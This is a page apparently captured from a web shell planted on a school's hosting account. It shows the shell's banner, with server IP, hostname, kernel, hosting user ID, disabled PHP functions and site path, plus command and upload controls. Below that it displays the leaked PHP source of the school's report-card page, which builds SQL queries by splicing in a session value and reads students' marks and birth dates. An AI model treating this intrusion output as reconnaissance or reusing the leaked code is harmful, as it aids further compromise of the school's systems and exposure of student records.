Server IP : 86.38.243.181 / Your IP : 216.73.216.51 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u986601745 ( 986601745) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u986601745/domains/emrskalsi.com/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); include('admin/config.php'); $roll_no=$_SESSION['roll_no']; $q = "SELECT students.*,students.id as student_id,results.*,result_list.*, results.id as res_id,class.class_name,house.house_name FROM results LEFT JOIN students ON students.id=results.student_id LEFT JOIN class ON students.class_id=class.id LEFT JOIN house ON house.id=students.house_id LEFT JOIN result_list ON result_list.result_id=results.id WHERE students.id='$roll_no' AND results.session='".date('Y')."'"; $query = mysqli_query($conn,$q); $res = mysqli_fetch_array($query); // echo "<pre>"; // print_r($res); ?> <style> .grid { display: grid; gap: 10px; grid-template-columns: 2fr 1fr; } @media(max-width: 400px){ .grid { grid-template-columns: 1fr; } } .table > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td, .table > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td { vertical-align: middle!important; } .table td{ border: 1px solid #ddd; } .table-bordered { border: 1px solid #ddd; } .table { width: 100%; max-width: 100%; margin-bottom: 20px; } table { width: 750px; border-collapse: collapse; margin:50px auto; } /* Zebra striping */ tr:nth-of-type(odd) { background: #eee; } th { background: #3498db; color: white; font-weight: bold; } td, th { padding: 10px; border: 1px solid #ccc; text-align: left; } @media only screen and (max-width: 760px), (min-device-width: 768px) and (max-device-width: 1024px) { table { width: 100%; } table, thead, tbody, th, td, tr { display: block; } tr { border: 1px solid #ccc; } td { border: none; border-bottom: 1px solid #eee; position: relative; padding-left: 50%; } td:before { position: absolute; top: 6px; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; content: attr(data-column); color: #000; font-weight: bold; } } td{ font-size: 13px; } td b{ font-size: 14px; } </style> <div class="headline" id="headlines" style="text-align:center;"><h2>EKLAVYA MODEL RESIDENTIAL SCHOOL, KALSI, DEHRADUN REPORT CARD (<?php echo date('Y')-1 ?>-<?php echo date('Y') ?>)</h2></div> <div class="grid"> <div class="main"> <table class="table table-bordered" style="widtd:100%"> <tr> <td><b>Name Of The Student</b></td> <td><?php echo $res['student_name']; ?></td> </tr> <tr> <td><b>Roll No.</b></td> <td><?php echo $res['student_id']; ?></td> </tr> <tr> <td><b>S NO.</b></td> <td><?php echo $res['res_id']; ?></td> </tr> <tr> <td><b>Class</b></td> <td><?php echo $res['class_name']; ?></td> </tr> </table> </div> <div class="side"> <table class="table table-bordered" style="widtd:100%"> <tr> <td><b>Date Of Birtd</b></td> <td><?php echo $res['dob']; ?></td> </tr> <tr> <td><b>House </b></td> <td><?php echo $res['house_name']; ?></td> </tr> <tr> <td><b>Attendance</b></td> <td></td> </tr> <tr> <td><b>Tribe</b></td> <td></td> </tr> </table> </div> </div> <div class="grid"> <div class="main"> <div class="table-responsive"> <table class="table table-striped"> <tr><td colspan="8" class="text-center"><b>Academic Performance</b></td></tr> <tr> <td rowspan="2" class="text-center"><b>Subject</b></td> <td colspan="6" class="text-center"><b>Marks</b></td> </tr> <tr> <td><b>PA-1 (<?php echo $res['marks1']; ?>)</b></td> <td><b><?php if($res['pa2']!=0){echo 'PA-2 ('.$res['marks2'].')';} ?></b></td> <td><b><?php if($res['theory1']!=0){echo 'PA-3 ('.$res['marks3'].')';} ?></b></td> <td><b>AVERAGE OF BEST TWO PAS (20)</b></td> <td><b><?php if($res['theory2']!=0){echo 'SE WRITTEN ('.$res['marks4'].')';} ?></b></td> <td><b>TOTAL (<?php echo 20+$res['marks4']; ?>)</b></td> </tr> <?php $q = "SELECT result_list.*,subjects.subject_name FROM result_list LEFT JOIN subjects ON subjects.id=result_list.subject_id LEFT JOIN results ON results.id=result_list.result_id LEFT JOIN students ON students.id=results.student_id WHERE students.id='$roll_no' AND results.session='".date('Y')."'"; $query = mysqli_query($conn,$q); $total=0; $total_marks=0; while($res2 = mysqli_fetch_array($query)) { // ========================================== $a = $res2['pa1']; $b = $res2['pa2']; $c = $res2['theory1']; if ($a <= $b && $a <= $c) // echo $a . " is the smallest"; $average = ($b+$c)/4; else if ($b <= $a && $b <= $c) // echo $b . " is the smallest"; $average = ($a+$c)/4; else // echo $c . " is the smallest"; $average = ($a+$b)/4; // ========================================== $total+=$average+$res2['theory2']; $total_marks+=20+$res2['marks4']; $percentage = ($total/$total_marks) * 100; ?> <tr class="text-left text-uppercase"> <td><?php echo $res2['subject_name'] ?></td> <td><?php if ($res2['pa1']!=0) {echo $res2['pa1'];} ?></td> <td><?php if ($res2['pa2']!=0) {echo $res2['pa2'];} ?></td> <td><?php if ($res2['theory1']!=0) {echo $res2['theory1'];} ?></td> <td><?php echo $average;?></td> <td><?php if ($res2['theory2']!=0) {echo $res2['theory2'];} ?></td> <td><?php echo $average+$res2['theory2']; ?></td> </tr> <?php } ?> <tr> <td></td> <td colspan="5" class="text-center"><b>GRAND TOTAL (<?php echo $total_marks; ?>)</b></td> <td colspan="2"><b><?php echo $total ?></b></td> </tr> <tr> <td></td> <td colspan="5" class="text-center"><b>OVERALL %</b></td> <td colspan="2"><b><?php echo round($percentage,2); ?>%</b></td> </tr> <tr> <td></td> <td colspan="5" class="text-center"><b>OVERALL GRADE</b></td> <td colspan="2"><b><?php echo $res['overall_grade']; ?></b></td> </tr> <tr> <td></td> <td colspan="5" class="text-center"><b>Result</b></td> <td colspan="2"><b><?php if ($percentage>=33) { echo 'Pass';}else{ echo 'Fail';} ?> <?php echo $x++; ?></b></th> </tr> <tr> <td></td> <td colspan="5" class="text-center"><b>Rank</b></td> <td colspan="2"><b></b></td> </tr> </table> <table class="table table-bordered table2" style="width:100%"> <tr> <td><b>CLASS TEACHER REMARKS</b></td> <td></td> </tr> <tr> <td><b>CLASS TEACHER'S SIGNATURE</b></td> <td></td> </tr> <tr> <td><b>DATE OF ISSUE</b></td> <td></td> </tr> </table> </div> </div> <div class="side"> <table class="table table-bordered table2" style="widtd:100%"> <tr> <td colspan="2" class="text-center"><b>SCHOLASTIC AREA</b></td> </tr> <tr> <td><b>WORK EXPERIENCE </b></td> <td><?php echo $res['work_experience']; ?></td> </tr> <tr> <td><b>ART EDUCATION</b></td> <td><?php echo $res['art_education']; ?></td> </tr> <tr> <td><b>PHYSICAL & HEALTH EDUCATION</b></td> <td><?php echo $res['physical_education']; ?></td> </tr> </table> <!-- <table class="table table-bordered table2" style="widtd:100%"> <tr> <td colspan="3" class="text-center"><b>CO- SCHOLASTIC AREA</b></td> </tr> <tr> <td colspan="2" class="text-center"><b>DISCIPLINE </b></td> <td></td> </tr> <tr> <td rowspan="3" class="rotate"><b>LIFE SKILL</b></td> <td>THINKING SKILL</td> <td><?php echo $res['thinking_skill']; ?></td> </tr> <tr> <td>SOCIAL SKILL</td> <td><?php echo $res['social_skill']; ?></td> </tr> <tr> <td>EMOTIONAL SKILL</td> <td><?php echo $res['emotional_skill']; ?></td> </tr> <tr> <td rowspan="4"><b>ATTITUDE TOWARDS</b></td> <td>TEACHERS</td> <td><?php echo $res['teachers']; ?></td> </tr> <tr> <td>SENIORS</td> <td><?php echo $res['seniors']; ?></td> </tr> <tr> <td>SCHOOL MATES</td> <td><?php echo $res['school_mates']; ?></td> </tr> <tr> <td>ENVIRONMENT</td> <td><?php echo $res['environment']; ?></td> </tr> </table> --> <table class="table table-bordered table2" style="widtd:100%"> <tr> <td colspan="2" class="text-center"><b>ADDITIONAL SUBJECTS GRADE</b></td> </tr> <tr> <td><b>ART</b></td> <td><?php echo $res['art']; ?></td> </tr> <tr> <td><b>MUSIC</b></td> <td><?php echo $res['music']; ?></td> </tr> <tr> <td><b>COMPUTER</b></td> <td><?php echo $res['computer']; ?></td> </tr> <tr> <td><b>SPOKEN ENGLISH</b></td> <td><?php echo $res['spoken_english']; ?></td> </tr> <tr> <td><b>PHYSICAL ACTIVITY</b></td> <td><?php echo $res['physical_activity']; ?></td> </tr> </table> </div> </div>